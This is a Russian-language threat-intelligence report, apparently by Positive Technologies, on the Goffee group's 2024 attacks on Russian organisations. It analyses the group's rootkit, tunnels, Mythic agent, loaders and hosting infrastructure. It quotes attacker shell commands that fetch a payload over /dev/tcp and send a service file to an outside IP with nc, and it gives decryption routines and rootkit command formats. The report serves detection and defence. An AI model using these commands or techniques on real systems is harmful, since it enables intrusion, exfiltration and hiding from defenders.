PT Expert Security Center

Гадание на Goffeeной гуще: актуальные инструменты и особенности группировки Goffee в атаках на Россию

Гадание на Goffeeной гуще: актуальные инструменты и особенности группировки Goffee в атаках на Россию

Авторы:

Климентий Галкин

Климентий Галкин

Cпециалист группы киберразведки TI-департамента экспертного центра безопасности Positive Technologies

Варвара Колоскова

Варвара Колоскова

Специалист группы исследования сложных угроз TI-департамента экспертного центра безопасности Positive Technologies

Ключевые моменты

  • В ходе расследований инцидентов и изучения открытых источников был обнаружен ряд атак, проведенных группировкой Goffee, в которых применялись ранее не используемые злоумышленниками инструменты.
  • В атаках использовались как широко известные опенсорсные инструменты, так и собственные наработки, основанные на открытых проектах. Большинство инструментов сделаны под Unix-системы.
  • Для усложнения анализа используется упаковщик Ebowla, обфускатор для Golang garbler, а также свой собственный алгоритм для шифрования трафика и вредоносных файлов.
  • Goffee активно использует инструменты для туннелирования трафика и тщательно скрывает свои C2.
  • Группировка предпочитает использовать регистраторы Namecheap и NameSilo, российские IP-адреса на хостингах MivoCloud, Aeza, XHost, имеет особенную структуру доменов для каждого этапа.

Введение

В течение 2024 года несколько российских организаций обращались к команде PT ESC IR для расследования инцидентов, между которыми удалось обнаружить сходство. В рамках анализа вредоносная активность инцидентов была объединена в один кластер и связана с группой Goffee, атакующей российские организации с помощью фишинга с 2022 года. В одном из инцидентов был замечен неизвестный ранее руткит под Linux — Sauropsida.

Злоумышленники использовали ранее уже известные инструменты, такие как Powertaskel и owowa. Удалось обнаружить и новые: инструменты для туннелирования трафика BindSycler и DQuic, а также новый агент Mythic.

Первая атака

В середине июля 2024 года одна российская компания обратилась к команде PT ESC IR за помощью в расследовании вредоносной активности. В ходе расследования было выявлено, что злоумышленники использовали давно известный инструмент PowerTaskel. Также в нем был замечен код, позволяющий расширять возможности классического PowerTaskel путем загрузки дополнительных модулей. Загрузка дополнительных модулей происходит в три этапа.

На первом этапе определяется функция Get-ProcAddress. В случае успеха на сервер отправляется сообщение Get-ProcAddress: declared или Get-ProcAddress: OK.

Далее загружается несколько вспомогательных функций, которые взяты из открытых источников. Например, для определения типа функций используется Get-DelegateType, для создания трамплина на шеллкод используется функция Emit-CallThreadStub. Также определяются WinAPI-функции, необходимые для выделения памяти, запуска шеллкода и т. п.

Также подгружается C#-метод для копирования в неуправляемую память:

 using System;
 namespace UnmanagedCSharp
 {
     public static unsafe class UnmanagedCopier
     {
         public static void CopyManagedToUnmanagedMemory(byte[] src, IntPtr dst, int length)
         {
             fixed (byte* p = src)
             {
                 IntPtr src_ptr = (IntPtr)p;
                 Buffer.MemoryCopy(src_ptr.ToPointer(), dst.ToPointer(), length, length);
             }
         }
     }
 }

На третьем этапе скрипт приступает к загрузке и запуску шеллкода. Сначала на сервер отправляется сообщение о старте загрузки шеллкода в формате XML:

<?xml version="1.0" encoding="utf-8"?>
<Objects>
  <Object Type="System.Collections.Hashtable">
    <Property Name="Key" Type="System.String">responses</Property>
    <Property Name="Value" Type="System.Object[]">
      <Property Type="System.Collections.Hashtable">
        <Property Name="Key" Type="System.String">task_id</Property>
        <Property Name="Value" Type="System.String">UID</Property>
         <Property Name="Key" Type="System.String">user_output</Property>
        <Property Name="Value" Type="System.String">"[...]Uploading shellcode`n"</Property>
        <Property Name="Key" Type="System.String">completed</Property>
        <Property Name="Value" Type="System.Boolean">False</Property>       
        </Property>
      </Property>
    </Property>
    <Property Name="Key" Type="System.String">action</Property>
    <Property Name="Value" Type="System.String">post_response</Property>
  </Object>
</Objects>

Сам запрос, как и все последующие, шифруется однобайтовым XOR и кодируется в base64, после чего посылаются запросы для загрузки шеллкода:

<?xml version="1.0" encoding="utf-8"?>
<Objects>
  <Object Type="System.Collections.Hashtable">
    <Property Name="Key" Type="System.String">responses</Property>
    <Property Name="Value" Type="System.Object[]">
      <Property Type="System.Collections.Hashtable">
        <Property Name="Key" Type="System.String">task_id</Property>
        <Property Name="Value" Type="System.String">UID</Property>
        <Property Name="Key" Type="System.String">upload</Property>
        <Property Name="Value" Type="System.Object[]">
            <Property Name="Key" Type="System.String">file_id</Property>
            <Property Name="Value" Type="System.String">"6f344b4d-b37f-4ace-a8c4-0b3150f0ceed"</Property>
            <Property Name="Key" Type="System.String">chunk_num</Property>
            <Property Name="Value" Type="System[.]Int32">1</Property>
            <Property Name="Key" Type="System.String">chunk_size</Property>
            <Property Name="Value" Type="System[.]Int32">512000</Property>      
        </Property>
      </Property>
    </Property>
    <Property Name="Key" Type="System.String">action</Property>
    <Property Name="Value" Type="System.String">post_response</Property>
  </Object>
</Objects>

При успехе посылается сообщение "[+]Uploaded $total_bytes bytes of shellcode". Далее происходит поэтапная загрузка шеллкода в потоке текущего процесса. Каждый этап, в том числе и результат внедрения шеллкода, журналируется на сервере злоумышленников с комментарием о завершении. В результате на сервер отправляется ответ "[+]Thread invoked successfully" с идентификатором потока, в котором запущен шеллкод.

Рисунок — Финальная часть скрипта для загрузки шеллкода
Рисунок — Финальная часть скрипта для загрузки шеллкода

К сожалению, нам не удалось получить загружаемый код от PowerTaskel, но следы его работы остались. После первоначального доступа в систему отправлялись инструменты для открытия сервера на зараженной машине с возможностью последующей загрузки файлов.

Следующим этапом в систему загружались необходимые злоумышленникам исполняемые файлы, для скрытия которых использовался ядерный руткит Sauropsida. В зависимости от операционной системы использовались следующие наборы инструментов:

Операционная системаПример имени файлаСпособ для загрузки файловПолезная нагрузкаИспользование руткита Sauropsida
Windows1cv8conn.exeСервер Chisel, упакованный с помощью инструмента EbowlaMythic-агент MiRatНет
Linuxsystemd-resolvedTinyShell в режиме сервераNim-дроппер SliverДа

В случае с Windows на зараженную систему загружался агент Mythic MiRat и запускался через многоэтапный DLL Sideloading. Основной легитимный исполняемый файл с именем wsmprovhost.exe в ходе выполнения подгружает для себя WsmSvc.DLL, которая, в свою очередь, подгружает mi.dll, вызывая экспортные функции MI_Application_InitializeV1 и mi_clientFT_V1. Сами функции являются заглушками, тогда как в DllMain реализован загрузчик MiRat.

Рисунок — Основная цепочка атаки Goffee
Рисунок — Основная цепочка атаки Goffee

В Linux-системе было замечено использование Sliver. Поставлялся он в дроппере Infinity Loader, написанном на языке Nim. Дроппер расшифровывает Sliver и записывает в анонимный файл stukllys, используя открытый дескриптор /proc/<currentPID>/fd/<stukllys_handle>, где currentPID — это PID текущего процесса. На этот файл создается symlink /usr/libexec/resolved, который далее запускается.

Последующие атаки

Октябрь 2024 года

Через три месяца, в октябре 2024 года, была обнаружена новая активность Goffee в атаке на другую российскую организацию. В ходе атаки использовался модифицированный вредоносный модуль owowa, применяемый для получения учетных записей пользователей, модифицированные Nim-дропперы Infinity Loader в новых форматах DLL, EXE и ELF. Конечной нагрузкой оставался Sliver.

В отличие от предыдущей версии дроппер Infinity Loader получил следующие модификации: 

  • Патчинг API-функций ETW для отключения журналирования
  • Шифрование строк алгоритмом XOR со смещением:
def decrypt(xor_key, encr, size)
    for i in range(size):
        xor_byte = ((xor_key + i) >> 24) ^ ((xor_key + i) >> 16) ^ ((xor_key + i) >> 8) ^ ((xor_key + i))
        xor_byte &= 0xff 
        encr[i] ^= xor_byte
    return encr 
  • Использование API Sleep с большим временным промежутком для обхода песочниц
  • Непрямой запуск шеллкода через API _SymEnumProcesses

Конец 2024 года

В конце 2024 года Goffee снова проявили активность. Проникнув в систему через скомпрометированную учетную запись и уязвимость одного из узлов, злоумышленники смогли получить доступ к интерпретатору bash. В системе жертвы были обнаружены команды для сбора информации об инфраструктуре и открытия удаленного соединения с серверами злоумышленников:

> base64 -d /tmp/tmp20230718 >/tmp/tmp20230719;chmod 755 /tmp/tmp/20230719;fil e/tmp/tmp/20230719
> cat < /dev/tcp/109.107.189.187/32561 > /tmp/tmp20230815;chmod 755 /tmp/tmp20230815
> nc  194.180.191.190 32561 < /lib/systemd/system/systemd-rsyslog.service

Для повышения привилегий в Linux-системах эксплуатировали уязвимость PolKit (CVE-2021-4034). Также использовались известные инструменты: RawCopy (для низкоуровневого копирования с NTFS-дисков), Impacket , Veeam Extract (для изучения резервных копий).

По окончании разведки Goffee загрузили в зараженную систему DQuic — UDP-туннель на протоколе QUIC, а на другие узлы инфраструктуры распространяли использованные ранее Chisel и TinyShell. Помимо этого, было загружено новое ВПО BindSycler, устанавливающее OpenSSH-туннель между машиной жертвы и промежуточным узлом Goffee.

Рисунок — Цепочка атаки с использованием учетных данных администратора
Рисунок — Цепочка атаки с использованием учетных данных администратора

В течение всего 2025 года мы наблюдали появление инструментов, причастных к данной атаке. Однако большинство из них исследовать не удалось, поскольку их расшифровка завязана на окружении целевой для каждого образца системы.

Описание ВПО

Исходя из всех обнаруженных активностей группировки Goffee удалось выявить ряд ключевых моментов:

  • Характерное использование UDP-bind-соединений и туннелирование трафика
  • Использование опенсорсных инструментов:
    • Impacket;
    • Chisel;
    • TinyShell;
    • Sliver, попадающего в систему с Nim-дроппером.
  • Использование новых уникальных инструментов, которые не были атрибутированы ни к одной группировке ранее:
    • DQiuc — bind-shell-сервер, работающий на протоколе QUIC;
    • BindSycler — bind-SSH-туннель на Go, завернутый в упаковщик Ebowla;
    • MiRat — небольшой шеллкод, агент Mythic;
    • Sauropsida — модифицированный kernelmode/usermode-руткит Reptilia.
  • Большинство обнаруженных вредоносных файлов были упакованы разными инструментами и алгоритмами, в зависимости от операционной системы:
    • Для Windows характерно использование уже известного ранее опенсорсного упаковщика Ebowla. В качестве ключа для расшифровки полезной нагрузки злоумышленник загружает в зараженную систему файл в папку C:\Users\Public\Image. Его название служит отправной точкой для генерации ключа для расшифровки.
    • Для Linux-файлов характерно использование упаковщика с одним и тем же алгоритмом RolMod13, описание которого будет ниже. Кроме упаковки полезной нагрузки этот алгоритм используется для расшифровки строк и для шифрования сообщений для C2.

Подробное описание перечисленных инструментов будет представлено в последующих разделах статьи.

Загрузчик

В процессе изучение вредоносных файлов был замечен наиболее часто используемый алгоритм расшифровки, благодаря которому эти файлы были атрибутированы к одной кампании. Алгоритм похож на сильно модифицированный rol13. В честь этого он назван RolMod13, так как его отличает добавлением XOR-ключа и сдвига в зависимости от текущего индекса массива. Рассмотрим сам алгоритм:

def decrypt_module(size, ea, xor_dword):
    bb = get_bytes(ea, size)
    out = b''
    for i in range(0, size, 4):
        dword = struct.unpack("<I", bb[i:i+4])[0]
        dword ^= rol((size - i) ^ xor_dword, (size - i) % 0xd, 32)
        out += struct.pack("<I", dword)
    return out

Алгоритм распаковки и загрузки кода в память состоит из следующих действий: 

1.    Сначала расшифровывают строки алгоритмом выше. Для удобства тут уже указан результат расшифровки.

Рисунок — Результат расшифровки строк
Рисунок — Результат расшифровки строк

В качестве параметров в функцию fnStrDecrypt передается указатель на зашифрованный массив байтов, его длина и DWORD — XOR-ключ. 

2.    Далее проверяется команда запуска текущего процесса. Если она не соответствует указанной в конфигурации строке, то вредонос перезапускается с заданным окружением и командной строкой из конфигурации при помощи execve, а текущий процесс на этом завершается. Изначальный интерпретатор команды при этом не меняют. В данном примере процесс запускается с параметрами /usr/sbin/rsyslogd -n -iNONE и окружением с PATH=/sbin:/bin:/usr/sbin:/usr/bin.

Рисунок — Linux Loader
Рисунок — Linux Loader

3.    После проверки полезная нагрузка расшифровывается алгоритмом RolMod13 и загружается в память с сохранением исходных аргументов и переменных окружения. Расшифрованная полезная нагрузка является ELF-файлом со статически связанными библиотеками.

Sauropsida

Sauropsida — это руткит, созданный на основе опенсорсного проекта под Linux Reptile. Сам руткит состоит из usermode-части и ядерного модуля. Инструмент позволяет злоумышленнику осуществлять удаленное управление системой, а также скрывать следы своего присутствия. Программно вредонос сильно не изменился, если провести сравнение с оригинальной версией. Исходя из строк внутри ВПО и специфического заголовка SAU для лог-сообщений, можно предположить, что образец назван злоумышленниками Sauropsida (что с латыни переводится как «рептилия»).

Рисунок — Общая схема работы Sauropsida
Рисунок — Общая схема работы Sauropsida

Семпл загружен в систему, накрытый модифицированным UPX. В данном случае классические байты 55 50 58 21 были заменены на A1 D8 D0 D5.

Usermode part

Usermode-часть представляет из себя многофункциональный инструмент: в зависимости от аргументов командной строки (или их отсутствия) он может выступать в роли загрузчика руткита, reverse shell или коннектора для управления руткитом. При первоначальной загрузке без аргументов и при запуске из-под root начинает расшифровывать kernel module алгоритмом RolMod13 и запускает модуль при помощи syscall init_module. В качестве параметров передает следующую строку:

exe_path=%s ld_sym=0x%

Здесь первый параметр — это путь до исполняемого файла Sauropsida, второй параметр — адрес функции kallsyms_lookup_name.

В последней версии usermode-модуля используется следующий список ключей для различных параметров запуска: RBHSUdN:P:I:t:s:p:r:F:M:O:. Расшифруем значение данных команд: 

  • R: получить root 
  • B: bind connection — установить флаг для создания bind-соединения
  • F: имя файла, который нужно скрыть из системы 
  • H: скрыть ядерную часть руткита из списка модулей
  • I: IP-адрес, соединение с которым надо скрыть 
  • M: закрепить модуля ядра в системе
  • N: имя процесса для скрытия 
  • O: имя демона для скрытия 
  • P: PID процесса для скрытия 
  • S: остановить скрытие самого себя 
  • U: unload, выгрузка ядерного модуля 
  • d: debug mode 
  • p: port для reverse или bind shell
  • r: connection delay 
  • t: target ip для reverse shell
  • s: secret, сессионный ключ для reverse shell

Данные команды выполняются в модуле ядра. При каждом запуске с новыми параметрами usermode-модуль посылает ioctl характерного формата модулю ядра для общения с ним.

Рисунок — Sauropsida, процесс передачи команд в модуль ядра
Рисунок — Sauropsida, процесс передачи команд в модуль ядра

Как видно на рисунке выше, константы 0xA1306656 и 0xFEB18432 выступают словами-маркерами, по которым руткит ориентируется, что команда послана именно ему. Все, что заключено между этими константами, считается командой и ее параметрами. Описание команд будет ниже, в разделе «Модуль ядра».

Стоит отметить, что в случае указания параметра target ip происходит немедленная настройка reverse-shell-соединения (если указан только параметр port и установлен флаг -B, то bind shell). В данном случае обязательно указывается параметр secret: он используется в качестве сессионного ключа в соединении с C2.

Reverse и bind shell базируются на TinyShell. В нем также используются HMAC SHA-1 и AES для защиты сессии. В файл /tmp/righthere.txt записывается журнал сессии. Соединение происходит по протоколу UDP, для его реализации используются API-вызовы recvfrom и sendto.

Рисунок — Sauropsida, reverse shell
Рисунок — Sauropsida, reverse shell

Сам reverse shell имеет стандартные команды: 

  • 1: отправить файл 
  • 2: загрузить файл 
  • 3: принять команду и выполнить ее при помощи bash 
  • 4: обновить delay
  • 5: heartbeat 
  • ;7(Zu9YTsA7qQ#vw: конец соединения

Модуль ядра

При загрузке ядерного модуля в первую очередь управление передается функции sauropsida_init. Если загрузка произошла без параметров или названия файла sauropsida_12345 (видимо, артефакт тестовых запусков), то происходит автозагрузка модуля.

Рисунок — sauropsida init
Рисунок — sauropsida init

Автозагрузка нужна, если запуск произошел после перезагрузки компьютера или был некорректен. При этом происходит извлечение сохраненных параметров и команд из /etc/timeinfo, которые необходимо выполнить при автозагрузке. Речь о структуре этого файла пойдет ниже.

При нормальном запуске инициализируют все необходимые хуки функций при помощи опенсорсного движка khook. Список всех перехватов, которые есть в Sauropsida, но отсутствуют в Reptile:

  • sys_recvmsg и __x64_sys_recvmsg — скрытие пакетов от netlink;
  •  __x64_sys_sendmsg и sys_sendmsg — скрытие пакетов от netlink;
  •  __x64_sys_getdents64, sys_getdents и __x64_sys_getdents — скрытие файлов при листинге директории (см. описание аналогичной методики);
  • perf_event_fork, proc_exec_connector — скрытие процесса по его имени.

При этом информация о возможности перехвата таких функций, как proc_exec_connector, perf_event_fork, не распространена, это уникальная техника, используемая в данном вредоносе. В то же время у Sauropsida практически отсутствует функциональность для сокрытия содержания файлов, которая присутствует в Reptile.

Говоря про базовые перехваты, заимствованные из Reptile, стоит упомянуть про перехват функции inet_ioctl. Он используется для получения всех поступающих от пользовательского модуля команд. В ioctl проверяются все входящие сообщения и ищутся слова-маркеры. Если они найдены, значит, между двумя маркерами находится команда. Таким образом в рутките вычисляют номер передаваемой команды из usermode-части Sauropsida.

Рисунок — Sauropsida, пример обработки команд
Рисунок — Sauropsida, пример обработки команд

Вот список обрабатываемых команд:

  • 0: скрыть самого себя 
  • 1: скрыть процесс по PID
  • 2: скрыть процесс по имени 
  • 3: скрыть демон 
  • 4: ничего не делает 
  • 5: получить root 
  • 6: скрыть сетевое соединение 
  • 7: отменить скрытие сетевого соединения 
  • 8: скрыть bind-соединение по указанному порту
  • 9: скрыть файл (по inode) 
  • 10: вернуть состояния — скрыт или не скрыт собственный модуль 
  • 11: сохранить все объекты, которые передавались для скрытия в ядерный модуль, в базу данных (об этом ниже)

Но где же C2 во всей этой истории? После создания хуков руткит запускает Port Knocking. Для всех UDP-пакетов проверяется начало: если пакет начинается с hax0r_or_not_ или mag1c, то получен магический пакет. Данный пакет ожидается на зараженной машине и содержит зашифрованную конфигурацию. В первом случае получают C2 для reverse shell, во втором — bind shell. Пакет также расшифровывается алгоритмом RolMod13.

Рисунок — Sauropsida, алгоритм RolMod13
Рисунок — Sauropsida, алгоритм RolMod13

После расшифровки переданного магического пакета десериализуют его данные. Структура пакета следующая:

(hax0r_or_not_|mag1c)?<encoded(<ip_str>\s<port_str>)>

После идет перезапуск usermode-модуля c параметрами для включения reverse shell или bind shell.

Рисунок — Sauropsida, запуск reverse или bind shell из kernel
Рисунок — Sauropsida, запуск reverse или bind shell из kernel

Для промежуточного хранения информации используются отдельный swap-файл (по умолчанию это файл /etc/timeinfo). Иногда команда требует несколько промежуточных действий, и тогда в swap-файл записываются зашифрованные данные. Информация записывается фрагментами следующего вида:

0    1     3        3+size
|type| size| encr_data|

Данные шифруются XOR с байтом 0xE1. Классификация типов, используемых для записи данных: 

  • 7: service name 
  • 6: process name 
  • 5: file inode 
  • 4: nothing 
  • 3: ip address 
  • 2: ld_sym — второй параметр при загрузке модуля 
  • 1: exe_path — путь загрузки 
  • 0: команда для автозапуска

DQuic

DQuic представляет собой UDP bind shell, туннелирующий трафик при помощи протокола QUIC. Для реализации протокола используется открытая библиотека picoquic. В ходе сравнения открытого кода библиотеки с дизассемблированными кодом функций семпла было обнаружено, что используется достаточно старая версия данной библиотеки. Это дает нам предположить, что разработка инструмента началась еще в 2023 году.

При первом запуске после распаковки выполняется fork, и работа продолжается в дочернем процессе. Далее происходит инициализация конфига и последующая расшифровка сертификата и приватного ключа для установки соединения. Расшифровка происходит по уже известному алгоритму RolMod13.

Рисунок — DQuic, инициализация конфига
Рисунок — DQuic, инициализация конфига

Вначале инициализируется QUIC-контекст при помощи quic_create. В качестве параметров указывается сертификат, приватный ключ, alpn (в нашем случае udp), а также callback-функция для обработки команд. В качестве параметра этой callback-функции передается ранее заполненный конфиг. Функция quic_create принадлежит библиотеке picoquic, не будем останавливаться на ней и рассмотрим подробнее передаваемую callback-функцию. Данная функция обрабатывает стандартные события picoquic:

  • picoquic_callback_stream_data — получение данных и выполнение команды от пира при помощи функции event_handler;
  • picoquic_callback_stream_fin — получение FIN от пира и остаточное выполнение скопившихся команд при помощи функции event_handler;
  • picoquic_callback_prepare_to_send — подготовка данных для отправки;
  • picoquic_callback_ready — отправка данных на указанный в конфиге порт.

Если же вернуться в main, то мы увидим обработчик пакетов picoquic_packet_loop_win, который поддерживает в цикле и обрабатывает функцией loop_callback пакеты, направленные серверу по указанному bind_port. В нашем случае порт был нулевым, что означает подключение к любому свободному порту.

Рисунок — DQuic, main обработчик пакетов
Рисунок — DQuic, main обработчик пакетов

Внутри loop_callback происходит подключение к C2 в функции fninitClient, а также переподключение по истечении большого промежутка времени.

Рисунок — DQuic, инициализация клиента
Рисунок — DQuic, инициализация клиента

При подключении клиента-злоумышленника в качестве функции обработчика используется тот же qevent_handler, который и будет основным обработчиком туннеля DQuic.

Рисунок — DQuic, указание обработчика сообщений клиента
Рисунок — DQuic, указание обработчика сообщений клиента

Перейдем к его внутреннему устройству.

Рисунок –– Диспетчер команд в DQuic
Рисунок –– Диспетчер команд в DQuic

Диспетчер команд может находится в пяти состояниях (см. рис. выше). Первое состояние является интерактивным обработчиком, который управляет выполнением текстовых команд от клиента.

Режим shell имеет команду help, благодаря которой можно понять возможности DQuic:

This is an internal command shell. Supported commands are:
    help - print this message
    get [remote file] [local directory] - get file from the remote node
    put [local file] [remote directory] - put file into the remote node
    socks [action] [action params...] - SOCKS5 proxy server control, actions:
        add [direction] [{IP}:port] - add proxy server on specified port, IP is optional
            dir - direct proxy (from local to remote)
            rev - reverse proxy (from remote to local)
        remove [port] - remove proxy server on specified port
        show - show all proxy servers
    exit - exit internal shell

Команды get и put переводят диспетчер в состояния 2 и 3 соответственно.

При вызове команды socks add в состоянии shell диспетчер перейдет в состояние 4. Он создаст сокет для указанной прокси. Затем выполнение перейдет к состоянию 5, которое и будет отвечать за чтение-запись внутри созданной прокси.

BindSycler

BindSycler — это написанный на Golang shell, туннелирующий трафик при помощи протокола SSH. В зависимости от настраиваемых параметров может работать как в режиме TCP, так и UDP. Сам инструмент обфусцирован при помощи инструмента garble, в связи с чем часть имен функций отсутствует, а большинство библиотек и типов переименовано.

В начале работы BindSycler настраивает собственный конфиг:

struct config
{
  bool Debug_flag; // включение режима отладки
  bool KnockBack_flag; // установка соединения с сервером
  strstr DialAddress; // адрес для установления соединения
  strstr DialNetwork; // сеть для установления соединения (tcp/udp)
  bool BindServer_flag; // запуск bind-сервера
  strstr BindAddress; // адрес для привязки сервера
  strstr BindNetwork; // сеть для привязки сервера  (tcp/udp)
  strstr BindTlsServer_Flag; // запуск bind-сервера в режиме TLS
  strstr FixtureSsh_ServerKey; // ключ SSH
  slice FixtureAuthorized_KeyPub; // Ключ для аутентификации
  double SyclePeriod;
  __int64 SycleJitterFactor;
  bool TlsKnockBack_flag; // установка соединения с сервером в режиме TLS
  strstr TlsDialAddress; // адрес для установления соединения в режиме TLS
  strstr TlsDialNetwork; // сеть для установления соединения (tcp/udp) в режиме TLS
  __int64 TlsCyclePeriod;
  double TlsCycleJitterFactor;
  strstr BindTlsServerAddress; // адрес для привязки сервера в режиме TLS
  strstr BindTlsServerNetwork; // сеть для привязки сервера (tcp/udp) в режиме TLS
  __int64 Pointer; // Не используется, вероятно дополнительные ключи для TLS
};

Значения полей FixtureSsh_ServerKey и FixtureAuthorized_KeyPub передаются в секции данных самого инструмента.

В зависимости от параметров конфигурации сети происходит инициализация bind-сервера и dial-соединение с C2. Флаги KnockBack_flag, TlsKnockBack_flag показывают, устанавливать ли соединение с сервером, в то время как BindServer_flag и BindTlsServer_Flag отвечают за формат включенного сервера. При этом эти флаги не взаимоисключаемые: BindSycler может «поднять» несколько серверов и общаться с несколькими C2. За концы туннеля отвечают две функции — binder и sycler. Первая используется для установки bind-соединения для ожидания входящих соединений. Затем она перенаправляет все в обработчик для SSH.

Рисунок — BindSycler, запуск binder
Рисунок — BindSycler, запуск binder

Вторая с заданными временными параметрами SyclePeriod и SycleJitterFactor поддерживает постоянное соединение с сервером.

Рисунок — BindSycler, запуск sycler
Рисунок — BindSycler, запуск sycler

Для обработки задач от сервера используется функция donkey.

Рисунок — BindSycler, запуск dokney
Рисунок — BindSycler, запуск dokney

Она устанавливает dial-соединение с сервером. После этого новое соединение попадает в единую функцию-обработчик — SSH Connection. Основная функция ssh во многом списана с примера из опенсорсной библиотеки ssh golang. Используются те же названия классов и та же структура вложенности, а также похожая кодовая база, хоть и расширенная под функции APT-группировки.

Рисунок — BindSycler, сравнение функций handshake
Рисунок — BindSycler, сравнение функций handshake

Поддерживаются четыре типа ssh channel: 

  • ssh: в этом случае происходит переподключение по новому адресу; 
  • direct-tcpip: подключение для туннелирования трафика от клиента;
  • session: поддерживает три команды:
    • exec: выполнение заданной команды при помощи os.exec.Command(); 
    • shell: перенаправление управления в интерпретатор (дефолтный cmd.exe);
    • subsystem: включение передачи файлов по SFTP;
  • forward-tcpip: подключение для туннелирования трафика для bind-соединения.

Интересно, что при использовании в системе русской локали создаются потоки для ввода с другой кодировкой — чтобы при подключении не ломалась кодировка и названия файлов отображались верно. Это еще раз указывает на то, что злоумышленники ориентировались на российский сегмент в своих атаках.

Рисунок — BindSycler, преобразования кодировки для потоков ввода-вывода
Рисунок — BindSycler, преобразования кодировки для потоков ввода-вывода

MiRat

MiRat — это агент фреймворка Mythic. Он представляет собой небольшой шелл, загружаемый в систему при помощи Sideloading.

Первое, что бросается в глаза, это использование динамического импорта на стадии загрузки первого этапа шеллкода. В качестве функции хеширования использован алгоритм FNV-1a с предварительным переносом всех строк в верхний регистр.

Рисунок — MiRat, dynamic API resolve
Рисунок — MiRat, dynamic API resolve

Затем управление передается на API CreateThread, в качестве параметра передается функция размером чуть меньше 2 МБ. Переходим в дизассемблер и находим, что один из базовых блоков функции занимает аномально большое место. Присмотревшись внимательно, можно заметить, что все это место занято побайтовым копированием шеллкода на стек, из-за чего появилась такая огромная функция. На эту область памяти вызывают VirtualProtect, после чего выполнение переходит к полезной нагрузке.

Рисунок — MiRat, дроп шеллкода на стек
Рисунок — MiRat, дроп шеллкода на стек

При запуске бэкдор создает мьютекс 6536bc83-5a38-4678-bfab-b2a723a86788 для того, чтобы избежать запуска нескольких экземпляров ВПО. После этого переходит к основной функциональности. Стоит заметить, что весь бэкдор состоит из одной нераздельной функции, делающей его анализ менее приятным. Для начала работы бэкдор подгружает динамически импорт, используя все тот же алгоритм FNV-1a с измененным начальным значением.

Бэкдор записывает почти каждое свое действие в файл history.hcl, оставляя запись формата %d/%d/%d %d:%d:%d %s %s, где первое — это дата, затем время, строка-комментарий и аргумент для нее. Данные не хранятся в чистом виде: перед записью в журнал каждая строка шифруются с XOR-ключом 49dd9765-c4c5-47d2-9c00-75c26a7d28b4.

При этом журнал создается по полному пути, указанному в программе. Документ создается в папке C:\\Users\\<username>\\Documents\\WSM\\history.hcl, где username использовался характерный для компьютера, на котором бэкдор запустили. Если создать по данному пути файл журнала не выйдет, то MiRat завершит свое выполнение. Из этого можно сделать вывод, что злоумышленники создали образец под атаку на конкретную организацию.

Сам MiRat является достаточно простым агентом Mythic: сперва он устанавливает защищенное соединение с C2, для идентификации жертвы генерирует случайный 20-символьный ID. После этого бэкдор ожидает команд от сервера. Сам MiRat может выполнять следующие команды:

  • exit — завершить работу;
  • sleep — установить новые значения для параметров jitter и interval в конфигурации агента;
  • shell — запустить указанную в качестве параметра команду при помощи cmd /S /c;
  • shell_inject — запуск шеллкода, полученного от сервера, в отдельном thread в рамках текущего процесса.

Анализ сетевой инфраструктуры

В ходе расследований инцидентов, а также поиска дополнительных индикаторов компрометации мы обнаружили несколько цепочек атаки, которые использовала группировка Goffee. Для обнаруженных сетевых индикаторов мы составили сетевые профили, характерные для злоумышленников.

Сетевой профиль — набор уникальных (особых) признаков, обнаруженных у сетевых индикаторов группировки, на основе которого можно прогнозировать новые узлы сетевой инфраструктуры. К уникальным признакам относятся, например:

  • информация WHOIS (почта, улица, название организации или администратора и другие данные),
  • используемые ключевые слова в доменах,
  • используемые хостинги, ASN,
  • поля в SSL-сертификатах,
  • конфигурация серверов (открытые порты, сервисы).

Сетевые профили разных этапов атак

Если посмотреть на цепочку атаки с использованием HTA-файла, то можно заметить ряд закономерностей при подготовке злоумышленниками сетевой инфраструктуры. В общем контексте их можно увидеть на схеме ниже.

Рисунок — Сетевые профили группировки Goffee
Рисунок — Сетевые профили группировки Goffee

Рассмотрим каждый этап атаки группировки и покажем, какие особенности сетевой инфраструктуры были обнаружены и какие домены потенциально могут принадлежать Goffee. Некоторые сетевые индикаторы могут не попадать под сетевой профиль, но подтверждены в ходе расследования инцидентов.

Этап фишинга

Для фишинга группировка чаще всего использует домены зоны .ru/.рф, размещая вредоносные домены на русских IP-адресах «грязных» (то есть чаще используемых во вредоносных целях) хостингов — Aeza, VDSINA, MivoCloud и других. Для рассылки фишинговых писем используется инструмент GoPhish.

Gophish is an open-source phishing toolkit designed for businesses and penetration testers. It provides the ability to quickly and easily setup and execute phishing engagements and security awareness training.
Источник: GitHub (GoPhish)

Поиск потенциально интересных и новых доменов происходил на основе следующих действий:

  • Просмотр IP-адресов, участвующих в атаках с целью найти новые домены (например, rkn-info.ru)
  • Просмотр подсетей IP-адресов, участвующих в атаках
  • Поиск похожих доменов по ключевым словам. Большинство доменов мимикрируют под государственные сервисы или другие приложения, используемые пользователями (например, digitalgov.ru, disk-yabdex.ru)
  • Поиск связанных доменов по другим параметрам (например, по WHOIS)
  • Поиск по отчетам и открытым источникам

На основе полученных данных сформировался так называемый predicted layer, в котором желтым цветом обозначены все домены, которые, по нашему мнению, могут участвовать в атаках Goffee. На данном этапе сетевой профиль Goffee выглядит следующим образом:

ПризнакОсобенность
Используемые регистраторNamecheap
Используемые инструмент для фишингаGoPhish
Используемые хостинги и IP-адресаРусские IP-адреса на хостингах MivoCloud, Aeza, VDSINA, XHost
Домен первого уровня.ru, .рф, .tech, .online

Этап загрузки дополнительных модулей PowerTaskel

Рисунок — Вредоносные домены, обнаруженные во время работы макросов и PowerTaskel
Рисунок — Вредоносные домены, обнаруженные во время работы макросов и PowerTaskel

Дополнительные модули для исполнения цепочки атаки доставляются с одноуровневых доменов в зоне .com/.org. Размещаются домены на уже известном наборе хостингов, на российских IP-адресах. Регистратор Namecheap редко дополняется другим — NameSilo, однако таких доменов обнаружено всего несколько.

Для поиска схожих доменов при анализе использовались те же операции, что и на предыдущем этапе: просмотр российских подсетей, тех же IP-адресов. Помимо этого, был добавлен отдельный шаг поиска схожих URL-ссылок, по которым хранилась полезная нагрузка.

Пример ссылок:

http://[REDACTED]/inhibiting/cries/aerobe/merchantman/cheeseburgers
https://[REDACTED]/page/push/turn/order

Как видно, часто ссылки строятся по принципу большой вложенности, директории называют случайными словами английского языка.

Сетевой профиль на этапе доставки вредоносного ПО выглядит так:

ПризнакОсобенность
Используемые регистраторNamecheap — чаще
NameSilo — реже
Максимальный уровень доменаДомены второго уровня или IP-адреса
Используемые хостинги и IP-адресаРусские IP-адреса на хостингах MivoCloud, Aeza, VDSINA, XHost
